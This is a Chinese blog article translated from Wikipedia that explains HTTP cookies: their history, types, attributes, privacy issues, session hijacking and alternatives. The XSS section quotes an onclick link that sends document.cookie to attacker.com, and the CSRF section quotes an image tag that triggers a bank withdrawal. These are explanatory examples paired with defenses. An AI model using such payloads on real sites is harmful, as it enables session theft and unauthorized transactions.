前端必备HTTP技能之cookie技术详解

HTTP cookie(也称为web cookie,网络cookie,浏览器cookie或者简称cookie)是网站发送的一个小的数据片段,当用户浏览时,会通过用户的浏览器保存在用户的电脑上。通过Cookie这种可靠的机制,网站可以记录状态信息(例如在电商网站中放到购物车中的物品)或者记录用户的浏览行为(包括特殊按钮的点击,登录或者记录之前访问的页面)。也可以用来记录用户之前输入的字段例如姓名,地址,密码,信用卡号码。

在现代浏览器中其它类型的cookie有重要的作用。可能最重要的就是权限认证cookie,通过这种最常用的方法web服务器可以知道用户登录登出,以及正在登录的账号。如果没有这种机制,站点不知道是否可以发送包含敏感信息的页面,或者需要用户通过登录来验证自身。权限认证cookie的安全性通常依赖于站点的安全性以及用户的浏览器,以及cookie数据是否加密。黑客可能会利用安全漏洞读到cookie中的数据,获取访问用户数据的权限或者获取拥有该cookie的站点的访问权限。具体可以参看跨站请求伪造中的例子。

追踪cookie,特别是一些第三方的追踪cookie,经常用来记录个人浏览历史,这种潜在的隐私问题导致欧盟和美国的立法者在2011年采取了行动。欧盟法律要求所有针对欧盟成员国的站点在用户设备上存储非必要cookie时必须知会用户。

背景


名字的来源

cookie这个术语是web浏览器程序员Lou Montulli杜撰出来的。派生自magic cookie这个术语,这个术语是Unix程序员用来描述程序接受和发送时没有改变的数据包。magic cookie又派生自fortune cookie,代表一种内嵌消息。

历史

当Lou Montulli在1994年6月有在web通信中使用cookie的想法时,magic cookie已经在计算机中使用了。那时他是网景通讯的一名员工,正在为MCI公司开发一种电子商务程序。Vint CerfJohn Klensin作为MCI公司的技术代表和网景公司谈判。MCI公司不希望他们的服务器保存事务状态,所以他们要求网景公司找一种在用户电脑上保存状态的方式来代替服务器保存状态。在实现一个虚拟购物车时cookie提供了一种可靠的解决办法。

同年,Montulli和John Giannandrea一起完成了网景浏览器cookie规范。1994年10月13号发布的0.9beta版本的网景浏览器支持了cookie机制。在实验室之外第一次使用cookie是为了检测访问网景站点的用户是否之前访问过。Montulli在1995年为cookie技术申请了专利,在1998年通过。1995年10月发布的IE2也集成了cookie技术。

当时cookie技术并不为大众所知。cookie是默认接受的,不会通知用户cookie的存在。直到1996年2月12号金融时报上刊登了一篇了关于cookie的介绍,大众才逐渐知道这项技术。同年cookie受到了很多媒体关注,主要是因为存在潜在隐私问题。在1996年和1997年两次美国联邦贸易委员会的听证会上都讨论过cookie。

正式的cookie规范开发也在持续的进行中。在1995年4月的www-talk邮件组中第一次讨论了一份正式的规范。IETF也成立了特别的工作组。两种介绍HTTP事务状态的可选方案被Brian Behlendorf和David Kristol分别提出来。但是Kristol和Lou Montulli领导的工作组,很快决定利用网景的规范作为一个起点。在1996年2月,工作组确认第三方的cookie是一个相当大的隐私威胁。工作组最终在1997年2月的RFC 2109中发布了正式的规范。其中规定第三方cookie要么都不允许,要么默认禁用。

当时有广告公司已经开始利用第三方cookie。网景浏览器和IE浏览器都没有遵循RFC 2109中推荐的关于第三方cookie的规范。2000年10月RFC 2965代替了RFC 2109。

最终使用的cookie规范是2011年四月发布的RFC 6265

术语


Session cookie

也称为内存cookie或者瞬时cookie,只存在用户浏览站点时的内存中。当用户关闭浏览器时,浏览器通常会删除session cookies。不像其他cookies,session cookies没有分配过期时间,作为session cookie浏览器会自己管理它。

持久性cookie

不像session cookie在浏览器关闭时就会过期那样,持久性cookie是到一个特定日期过期或者过来一段时间过期。这就意味着,在cookie的整个生命周期(创建cookie时可以指定其生命周期),每次用户访问cookie所属站点时,或者每次用户在其他站点访问cookie所属站点的资源(例如广告)时,cookie所携带的信息都会被发送到服务端。

由于这个原因,持久性cookie有时被称为追踪cookie,因为广告系统可以利用它记录用户在一段时间内的网页浏览习惯信息。当然,使用它也有一些“正当”理由,例如保持用户的登录状态,避免每次访问的再次登录。

如果过期时间到了,或者用户手动删除了,这种cookie会被重置。

安全cookie

安全cookie只能通过安全连接传输(例如,https)。不能通过非安全连接传输(例如,http)。这样就不太可能被窃取。在cookie中设置一个Secure标志就可以创建安全cookie。

HttpOnly cookie

HttpOnly cookie不能通过客户端api获取到。这种限制减少了通过跨站脚本(XSS)窃取cookie的风险。然而这种cookie也会受到跨站追踪和跨站请求伪造攻击。在cookie中添加HttpOnly可以创建这种cookie。

SameSite cookie

chrome51版本引入的一种新类型cookie,只有请求和站点是同源的,才会发送cookie到服务器。这种限制可以缓解攻击,例如跨站请求伪造攻击。在cookie中设置SameSite标识可以创建这种类型的cookie。

第三方cookie

正常情况下,cookie的域属性和浏览器地址栏里显示的域是相同的。这种cookie称为第一方cookie。然而第三方cookie不属于浏览器地址栏显示的域中。这种cookie通常出现在web页面有外部站点内容时的情况中,例如广告系统。这就提供了一个潜在的能力来追踪用户的浏览历史,广告系统通常会利用这个来给每个用户推荐相关的广告信息。

例如,假设用户访问了www.example.com,这个站点包含ad.foxytracking.com的广告,当这个广告加载时,会设置一个属于广告所在域(ad.foxytracking.com)的cookie。然后用户访问另一个站点,www.foo.com,这个站点也包含来自ad.foxytracking.com的广告,这个广告也会设置一个属于ad.foxytracking.com域的cookie。最终,所有这些cookie会发送给广告主,当用户加载他们的广告或者访问他们的网站时。然后广告主就可以利用这些cookie统计出用户的浏览记录,当然浏览记录里面的站点必须要包含广告主的广告。也就是广告主可以利用这些cookie知道你访问了那些包含他们广告的站点。

截止到2014有些站点设置了多达100多个第三方域的cookie。平均来讲,一个单独的站点设置10个cookie,最大数量也可以达到800多个,包括第一方或者第三方的cookie。

大部分的现代浏览器都有隐私设置可以禁止第三方cookie。

Supercookie

supercookie是来自于顶级域名(例如.com)或者有公共后缀(例如.co.uk)的cookie。普通cookie是来自于一个特定域名,例如example.com

supercookie是一个潜在的安全威胁,所以经常被浏览器默认禁止的。如果浏览器不禁止,控制恶意站点的攻击者可以设置一个supercookie,干扰或者冒充合法的用户向其他共享顶级域名或者公共后缀的站点的请求。例如,来自.com的supercookie可以恶意影响example.com的请求,即便这个cookie并不是来自于example.com。可以用来伪造登录或者修改用户信息。

公共后缀帮助降低supercookie带来的风险。公共后缀是一个跨厂商的倡议,目标是为了提供一个准确的最新的域名后缀列表。旧版本浏览器可能没有一份最新的列表,会容易受到来自某些域的supercookie的威胁。

"supercookie"的术语有时会被用来描述某些不通过HTTP cookie的追踪技术。两个这样的"supercookie"机制在2011年的微软站点被发现了:机器标识码cookie和ETag cookie,由于媒体的关注,微软禁止了这样的cookie。

Zombie cookie

zombie cookie是指被删除后可以自动再创建的cookie。通过把cookie内容存储在多个地方实现,例如flash的本地共享对象,H5的网页存储,其他客户端甚至服务端位置。当缺失的cookie被检测到,就会利用存储在这些位置的数据重新创建cookie。

结构


cookie包含下面的部分:

1.Name

2.Value

3.0个或多个属性(键值对)。属性存储的信息包括cookie的有效期,域,标志(例如 SecureHttpOnly)

使用


session管理

cookie最初被引入的原因是为了在用户浏览器购物网站,确定付款前,记住用户已经选购的物品,实现类似于购物车的功能。然而如今,用户购物车的内容通常存储在服务端的数据库中,而不是客户端的cookie中。为了追踪那个用户对应着那个购物车,服务端会发送一个cookie到客户端,cookie中包含一个唯一的session id(通常,是一长串随机字母和数字)。因为cookie会被每个客户端的请求发送到服务端,这样的话用户每次访问新页面session id都会被发送到服务端,这样服务端就可以知道用户是哪个购物车了。

另一个用法就是登陆站点。当用户访问站点的登陆页面,服务器通常会给客户端发送一个包含唯一session id的cookie。当用户成功登陆后,服务端记住那个特殊的session id已经被授权了,然后授权用户访问它的服务。

由于session cookie只包含一个唯一的session id,这样站点为每个用户保存的个人信息数量几乎没有限制了。session cookie也有助于提升页面加载速度,因为session cookie中的信息量不大,需要的带宽小。

个性化

cookie可以用来记录用户信息,然后展示相关内容给用户。例如,web服务器可能会发送一个包含用户上次登录站点使用的用户名的cookie,这样客户端在用户下次登录的时候,可以利用这个cookie中的信息填充相关页面。

许多站点是利用用户的偏好来做个性化。用户在页面表单选择偏好,然后把表单提交给服务端。服务端把这些偏好编码到cookie中,然后把cookie发给浏览器。这种方式在用户每次访问站点网页时,服务端可以根据用户偏好个性化页面展示。例如google搜索引擎利用cookie允许用户选择在搜索结果页面一次可以看到多少个搜索结果。

追踪

追踪cookie被用来追踪用户的页面浏览习惯。这个作用在一定程度上也可以用请求页面的IP地址或者HTTP请求头中的referer字段来实现,但是使用cookie可以记录的更精确。下面两点可以证明:

1.如果用户请求一个站点的页面,但是请求不包含cookie,服务端假定是用户第一次访问这个页面。所以服务端创建了一个唯一的标识符(通常是一串随机字母和数字),然后随请求页面把cookie发给浏览器。

2.从现在开始,这个站点每次新页面访问时,浏览器都会把cookie发给服务端。服务端正常返回页面,但是会在一个日志文件中存储页面的url,请求的日期以及cookie。

通过分析这个日志文件,可以找出用户访问了那个页面,访问频次以及访问多长时间。

公司通过追踪cookie利用用户的网络习惯搜集用户的购买习惯信息。

实现


cookies是任意的数据块,通常由服务端先发送,然后由浏览器保存在客户端电脑上。浏览器会在每个请求时把它们发给服务端,给原本无状态的HTTP事务引入状态。如果没有cookie,站点里面的每个页面或者页面里面的组件的获取都会是独立的事件,很大程度上和所有其他页面么有关联。尽管通常是服务端发送cookie,客户端也可以通过js脚本设置cookie(除非cookie被设置了HttpOnly属性,这样话js脚本就不能修改cookie了)。

cookie规范要求浏览器必须满足下面的要求才能支持cookie:

  • 可以支持最多4096个字节长度
  • 每个域最少可以支持50个cookie
  • 总共可以支持最少3000个cookie
设置cookie

使用HTTP头中的Set-Cookie属性设置cookie,然后在服务端响应中发送。这个头会让浏览器保存cookie,然后在后续的请求中重新发送给服务端(如果浏览器不支持cookie或者禁用了cookie,会忽略这个头的)。

下面的例子,浏览器发送第一个请求,请求www.example.org站点的首页:

GET /index.html HTTP/1.1
Host: www.example.org

服务端以两个Set-Cookie头响应:

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT

服务端的HTTP响应中包含站点的首页。但是它仍会让浏览器设置两个cookie。第一个,"theme",被当做是一个session cookie,因为它没有Expires或者Max-Age属性。当浏览器关闭的时候,浏览器会删掉Session cookie。第二个,”sessionToken",被当成是一个持久性cookie,因为它包含一个Expires属性,这个属性会让浏览器在指定时间内删除cookie。

接下来浏览器发送另一个请求访问spec.html页面。这个请求包含一个CookieHTTP头,里面有服务端设置的两个cookie:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…

通过这种方式服务端知道这个请求和上个页面有关。服务端会返回请求页面,可能会在响应中包含更多的Set-Cookie头为了增加新的cookie,修改已存在的cookie或者删除cookie。

服务端可以通过在请求的响应中包含Set-Cookie头的方式修改cookie的值。浏览器就会用新的cookie替换掉旧的值。

cookie的值可以是任意的可打印ASCII字符,但是不包括,;以及空白字符。cookie的名称也不包括这些字符,还有=,因为=是用来分隔名称和值的。cookie的RFC 2965标准更严格,没有被浏览器全部实现。

cookie也可以通过脚本语音在浏览器端设置。在js中,document.cookie对象就是用来干这个事情的。例如,document.cookie="temperature=20"将会创建一个名称为"temperature"值为"20"的cookie。

Cookie属性

除了名称和值之外,cookie也可以有其他更多的属性。浏览器发送到服务端的cookie不包含属性,只有键值对。cookie的属性被浏览器用来决定何时删除cookie,阻塞cookie或者是否发送cookie到服务端。

Domain和Path

DomainPath属性定义了cookie的范围。本质上是告诉浏览器cookie属于哪个站点。为了明显的安全原因,cookie只能在当前资源的顶级域名或者子级域名上设置,不能再其他域名和对应的子级域名上设置。例如,example.org站点不能设置一个domain是foo.com的cookie,因为不会允许example.org站点去控制foo.com的cookie。

如果cookie的DomainPath属性没有被服务端指定,它们默认是当前请求资源的domain以及path。然而,在大多数浏览器中,foo.com中的cookie没有设置domain和设置了domain属性是有区别的。在前一种情况下,cookie只会被发送foo.com的请求。在后一种情况下,所有的子域都会包含这个cookie(例如,docs.foo.com),IE中这条规则是例外的,在IE中这两种情况cookie都会被发送给所有的子域。

下面就是一个用户登录之后站点发送的响应中包含Set-Cookie的例子。HTTP请求是发送到docs.foo.com子域的:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…

第一个cookie,LSID没有Domain属性,有一个Path属性被设置成了/accounts。这告诉浏览器只有当请求页面包含在docs.foo.com/accounts下时才返回这个cookie。另外两个cookie,HSIDSSID,在浏览器请求任何.foo.com的子域的任何路径时都不会返回。签名的点在最新的标准是可选的。

Expires和Max-Age

Expires属性定义了一个指定的日期和时间,到了这个日期或时间时,浏览器应该删掉cookie。日期和时间的指定格式是Wdy, DD Mon YYYY HH:MM:SS GMT或者Wdy, DD Mon YY HH:MM:SS GMT,其中YY的值大于等于0小于等于69。

作为一种选择,Max-Age属性可以用来设置cookie的有效期,以相对于浏览器接收到cookie之后的秒数来计算。下面就是一个当用户登录之后从站点接收到的三个Set-Cookie头的例子:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

第一个cookie,lu被设置在2013年1月15日过期。它会被浏览器一直用到那个设置的时间。第二个cookie,made_write_com没有设置有效期,所以它是个session cookie,当用户关闭浏览器时,会删除这个cookie。第三个cookie,reg_fb_gate值被改成了"deleted",并且有一个过去的有效期。浏览器会删除这个cookie,因为它的有效期已经过去了。注意只有'Set-Cookie'中的domain和path属性匹配cookie被创建时的值时,才能被删除。

Secure和HttpOnly

SecureHttpOnly属性没有关联的值。相当于只要显示了他们的属性名就表示支持他们的行为。

Secure属性意味着把cookie通信限制在加密传输中,指示浏览器只能通过安全/加密连接使用cookie。然而如果一个web服务器在非安全连接中给cookie设置了一个secure属性,这个cookie在发送给用户时仍然可以通过中间人攻击拦截到。因此,为了安全必须通过安全连接设置cookie的Secure属性。

HttpOnly属性指示浏览器除了HTTP/HTTPS请求之外不要显示cookie。这意味着这种cookie不能在客户端通过脚本获取,因此也不会轻易的被跨站脚本窃取。

浏览器设置


大部分浏览器都支持cookie,并且允许用户禁止掉他们。下面是一些常用的选项:

  • 完全允许或者禁止cookie,以便浏览器总是接受或者总是阻止cookie
  • 通过cookie管理器查看或者删除cookie
  • 彻底清除所有的隐私数据,包括cookie

隐私和第三方cookie


cookie对于网络用户的隐私和匿名性上面有重要的意义。而cookie只会发送给设置它们的服务器或者在同一域下的服务器,一个web页面可能包含托管在不同域上的图片或者组件。在获取这些组件时设置的cookie被称为* 第三方cookie *。老的cookie标准指定浏览器应该保护用户隐私,默认情况下不能再服务端共享cookie。然而新的标准明确的允许用户代理实现任何第三方cookie期望的行为。大部分浏览器,例如Firefox,IE,Opera和Chrome默认情况下允许第三方cookie,只要第三方站点声明了隐私策略。新版的Safari阻止了第三方cookie。

广告公司使用第三方cookie在不同站点追踪用户。尤其是,广告公司可以追踪用户访问的所有页面,只要这些页面有它们投放的广告图片。知道用户访问的页面,广告公司就可以根据用户偏好投放广告。

网站运营者如果不关闭第三方cookie,当消费者使用cookie的记录被发现时就会遭受信任危机。明确的声明(例如在一份隐私协议里)可以消除类似的负面影响。

构建用户画像可能是一个隐私威胁,特别是追踪是利用第三方cookie在不同域上完成的。由于这个原因,某些国家对cookie有相应的立法。

cookie窃取和session劫持


大部分站点使用cookie作为用户session的唯一标识,因为其他标识web用户的方法有局限性以及漏洞。如果一个网站用户的cookie作为session标识,攻击者可以模拟用户请求通过窃取受害者的cookie设置。从服务端来看,攻击者发出的请求有和受害者请求一样的授权,所以这种请求就会被执行。

下面列出了多种cookie窃取以及session劫持的场景,主要是对完全依赖http cookie标识用户的站点起作用。

网络窃听

网络流量可以被拦截然后被网络上其他电脑而不仅仅只是发送者和接受者读取到(特别是通过非加密的WiFi)。这些流量包括发送的普通非加密HTTP session中的cookies。在网络流量么有加密的地方,攻击者可以读取到网络上其他用户的通信内容,包括HTTP cookies以及整个对话内容,可以实现中间人攻击的目的。

攻击者可以使用拦截的cookie冒充用户然后执行恶意操作,例如从受害者的银行账户中转移现金。

这个问题可以通过在用户电脑和服务端实现安全传输层协议(HTTPS协议)加密连接来解决。服务端在设置cookie时,可以指定一个Secure标识,这样浏览器在发送cookie时会通过加密通道发送,例如一个SSL连接。

发布假的子域:DNS缓存污染

如果一个攻击者可以让DNS服务缓存一个捏造的DNS条目(称为DNS缓存污染),这样攻击者可以获得访问用户cookie的权限。例如,攻击者可以利用DNS缓存污染创造一个捏造的DNS条目:f12345.www.example.com指向攻击者服务器的IP地址。然后攻击者可以从他的服务器请求一个图片url(例如,http://f12345.www.example.com/img_4_cookie.jpg)。受害者读取到攻击者信息后会从f12345.www.example.com下载这张图片。由于f12345.www.example.comwww.example.com的子域,受害者的浏览器将会把所有example.com相关的cookies发送到攻击者服务器。

如果一个攻击者有能力获取这些,只能说明是域名服务提供商的错误,因为不能正确保护他们的DNS服务器。然而如果目标站点采用了安全cookie,可以降低这种攻击的严重程度。在使用了安全cookie的情况下,攻击者还有一个额外的挑战,那就是从证书机构获取目标站点的SSL证书,因为安全cookie只能通过安全连接传输。没有匹配的SSL证书,受害者的浏览器将会警告攻击者的无效证书,帮助阻止用户访问攻击者的欺诈网站以及发送给攻击者他们的cookies。

跨站脚本:cookie窃取

cookie还可以通过使用跨站脚本技术被窃取。这种情况发生在那些允许用户发送未经过滤的html以及js内容的站点中。通过发布恶意的html和js代码,攻击者可以利用受害者的浏览器发送受害者的cookie到攻击者控制的站点。

例如,一个攻击者可能在www.example.com上发布了下面的链接:


<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

当其他用户点击了这个链接,浏览器执行了其中的代码段,这样document.cookie字符串会被当前页面获取到的cookies列表替换。结果就是cookie列表就被发送到attacker.com服务器。如果攻击者的恶意发布是在一个HTTPS站点https://www.example.com,安全cookie同样也会被发送到attacker.com

过滤这些恶意的代码是站点开发者应尽的职责。

类似的攻击可以利用HttpOnly cookies来减轻。这些cookie不能被客户端脚本获取到,因此攻击者不能得到这些cookie。

跨站脚本:代理请求

在很多旧版本的浏览器中,都存在这种安全漏洞允许攻击者利用客户端的XMLHttpRequest的API发起一个代理请求。例如,一个受害者正在阅读攻击者在www.example.com站点上发布的内容,攻击者的脚本在受害者的浏览器中执行。脚本执行产生一个代理服务器www.attacker.comwww.example.com的请求。由于请求是指向www.example.com,所有example.com的cookie将会随请求一起发送,但是都经过攻击者的代理服务器。因此攻击可以获取到受害者的cookie。

这种攻击对安全cookie不生效,因为他们只能通过HTTPS链接传输,HTTPS协议规定的是端到端的加密(例如,信息在用户浏览器上加密,然后在目标服务器上解密)。在这种情况下,代理服务器只能看到HTTP请求中的未经加工的加密的字节。

跨站请求伪造

例如,Bob可能浏览了一个聊天论坛,里面另一个用户,Mallory发布了一条消息,假设Mallory精巧的制作一个image标签,引用指向Bob的银行站点而不是一个图片文件,例如:


![](http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory)

如果Bob的银行在cookie中保存了他的认证信息,而且cookie还没有过期,然后Bob的浏览器尝试加载这个图片的时候,将会发送一个取款操作,从他的cookie中,授权了这次事务,尽管没有Bob的确认。

cookies的缺点


除了隐私问题,cookie还有其他的技术缺陷。特别是它不能总是精确的标识用户,它可以被用来进行安全攻击,而且还与REST软件设计风格相悖。

错误识别

如果一台电脑上使用多了浏览器,那么每个浏览器都会给cookie一个单独的存储空间。因此cookie不是标识一个人,而是作为一个用户账号,一台电脑,一个浏览器之间的连接。因此任何使用多个账号多台电脑以及多个浏览器的用户都会有多个cookie。

同样的,cookie不能区分共享一个账号一台电脑一个浏览器的多个用户。

客户端和服务端不一致的状态

使用cookie可能在客户端状态和存储在cookie中的状态之间产生不一致性。如果用户取得了一个cookie,然后点击了浏览器的返回按钮,然后浏览器的状态通常不会和之前获取的状态一样了。例如,如果一个网上商城的购物车用cookie来实现的,在用户回退浏览器历史时,购物车里面的内容可能不会改变,如果用户按了一个按钮往购物车里面添加了一个物品,然后点击了浏览器的返回按钮,这个新增的物品还会保留在购物车中。这可能不是用户的意图,用户可能只想撤销之前选择新物品的操作。这可能导致不可靠、混乱和错误。所以web开发者应该注意这个问题,想到方法处理类似的问题。

cookie的替代方案


有些可以使用cookie实现的方案也可以使用其他机制实现。

JSON Web Tokens

JSON Web Token(JWT)是一个自包含的信息包,可以用来存储用户标识以及认证信息。可以被用来代替session cookie。和cookie自动附加到每个HTTP请求的方式不一样,JWTs必须被web应用明确指定附加到那个HTTP请求上。

HTTP 认证

HTTP包含基本认证以及摘要认证协议,利用这些协议只有在提供了正确的用户名和密码后才能访问到web页面。如果服务端需要类似的认证信息来确保web页面的访问权限,那么浏览器每次页面请求的时候都要发送这些认证信息。这些认证信息也可以用来追踪用户。

IP 地址

有些用户可能会被基于访问页面的电脑IP地址追踪过,服务端知道当前正在运行浏览器的电脑的IP地址,理论上可以对这个IP地址关联一个用户session。

然后IP地址通常不是一个可靠的追踪session或者标识用户的方法。许多电脑设计的时候就是为了让一个单独用户使用的,例如办公PC,家庭PC会在网络地址转换协议下共享一个公共的IP地址。而且某些系统,例如Tor设计的时候就是为了保持匿名性的,利用IP地址追踪用户显然是不合适的,也是不可能的。

URL 查询字符串

一个更精确的技术是基于URL中嵌入信息。URL中的查询字符串部分通常就是为了实现这个目的的,当然也可以使用其他部分。Java Servlet和PHP session机制都是使用这种机制,如果cookie被禁止了。

这种方法由服务端在web页面的所有链接中追加包含一个独立session标识的查询字符串组成。当用户点击了其中了一个链接,浏览器把查询字符串传给服务端,允许服务端识别用户维持状态。

这些类型的查询字符串非常像cookie,都包含任意的信息供服务端选择,都会随请求返回给服务端。然而其中还是有点不同的。由于查询字符串是URL中的一部分,如果URL后面被重复发送了,那么上面附加的相同信息将会被发送到服务端,这样可能会产生混乱。例如,如果用户的偏好信息被放在了查询字符串中,用户把这个url通过邮件发给了另一个用户,那么这些偏好信息就会变成另一个用户的。

而且如果相同用户从不同的源多次访问相同的页面,这样不能确保每次使用相同的查询字符串。例如,如果一个用户第一次通过一个页面的内部站点访问了一个页面,然后第二次又通过外部的搜索引擎访问到这个页面,这样查询字符串可能会不同。如果在这种情况下使用cookie,cookie可以是相同的。

使用查询字符串其他缺点就是安全问题。在查询字符串中存储标识session的数据可以导致session固定攻击,referer日志攻击以及其他安全漏洞。把session标识转成HTTP cookie更安全。

隐藏的表单字段

另一种回话跟踪是使用隐藏域的web表单。这个技术很像使用url查询字符串去保存信息,也有一些优点和缺点。事实上,如果通过HTTP的GET方法处理表单,那么这种技术就和使用URL查询字符串类似,因为GET方法会把表单字段作为查询字符串追加到URL后面。但是大部分表单都是通过HTTP的POST方法处理,这样表单信息包括隐藏的字段都会在HTTP请求体中发送,这样既不是URL中的一部分,也不是cookie的一部分。

从追踪的角度来看这种方式有两种好处。第一,把追踪信息放在HTTP请求体中而不是URL中意味着它不会被普通用户察觉。第二,当用户复制URL的时候不会复制到session信息。

“window.name” DOM 属性

所有的现代浏览器都可以通过js使用DOM属性window.name存储一个相当大的数据(2-23M)。这个数据可以用来代替session cookie也是可以跨域的。这个技术可以和JSON对象一起使用来存储客户端上的复杂session变量集合。

不足就是美国单独的窗口或者tab页刚开始打开的时候会有一个空的window.name属性。而且,这个属性可以用来追踪不同站点的访问者。

在某些方面,这种方法可能比cookie更加方便,因为它的内容不会像cookie那样在每次请求的时候自动的发送给服务端,所以它不易收到网络cookie嗅探攻击。然而如果不采用特殊的方法保护数据,它很容易受到其他攻击,因为数据可以被在同一个窗口或者tab中打开的其他站点获取到。

广告主标识码

苹果使用了追踪技术称为“广告主标识码”(IDFA)。这种技术会给每个购买苹果产品的用户分配一个唯一标识。这个唯一标识会被苹果网络广告系统使用,来确定用户正在查看或者回复的广告。

ETag

因为浏览器会缓存ETags,然后在后续的请求相同资源时返回,追踪服务器可以简单的复制从浏览器接受的任意ETag来确保ETag长久留存(就像持久化cookie一样)。增加缓存头也可以加强ETag数据的保存。

在某些浏览器中可以通过清理缓存来清楚ETag数据。

web 存储

一些web浏览器支持持久化机制,允许页面本地存储信息以后使用。

HTML5标准(绝大多数现代浏览器在某种程度上都支持)包含了一个Javascript API叫做Web storage:local storage和session storage。local storage的行为和持久化cookie类似,而session storage的行为和session cookie的行为类似,也就是session storage是绑定在一个单独的tab或者窗口的生命周期中的(也就是页面session),而session cookie是针对整个浏览器的。

IE支持在浏览器历史中持久化信息,在浏览器的收藏夹中,以一个XML格式存储,或者直接在页面中存储到硬盘。

一些web浏览器插件也包含持久化机制。例如Flash有Local shared object,Silverlight有 Isolated storage。

浏览器缓存

浏览器缓存也可以用来存储信息,利用这些信息也可以用来追踪用户。这项技术利用的真相是当浏览器判断出来缓存的已经是最新资源时可以利用缓存而不是重新从站点下载。

例如,一个站点托管了一个js文件,这个js文件可以给用户指定一个唯一标识(例如,var userId = 3243242)。只要用户访问之后,每次用户再访问这个页面时,这个文件都会从缓存中获取而不是从服务端获取。所以它的内容永远不会变。

浏览器指纹

浏览器指纹是指浏览器配置信息的集合,例如版本号,屏幕分辨率,操作系统。指纹信息可以用来完全或者部分标识独立用户或者设备,即使cookie已经被关闭了。

基本的web浏览器配置信息一直都在被web分析服务搜集为了精确的统计真实网络流量和不同类型的点击欺诈。在客户端脚本的帮助下,搜集更多的参数也是有可能的。

做好前端开发必须对HTTP的相关知识有所了解,所以我创建了一个专题前端必备HTTP技能专门收集前端相关的HTTP知识,欢迎关注,投稿。


PS:本文翻译自维基百科,原文地址https://en.wikipedia.org/wiki/HTTP_cookie

推荐阅读更多精彩内容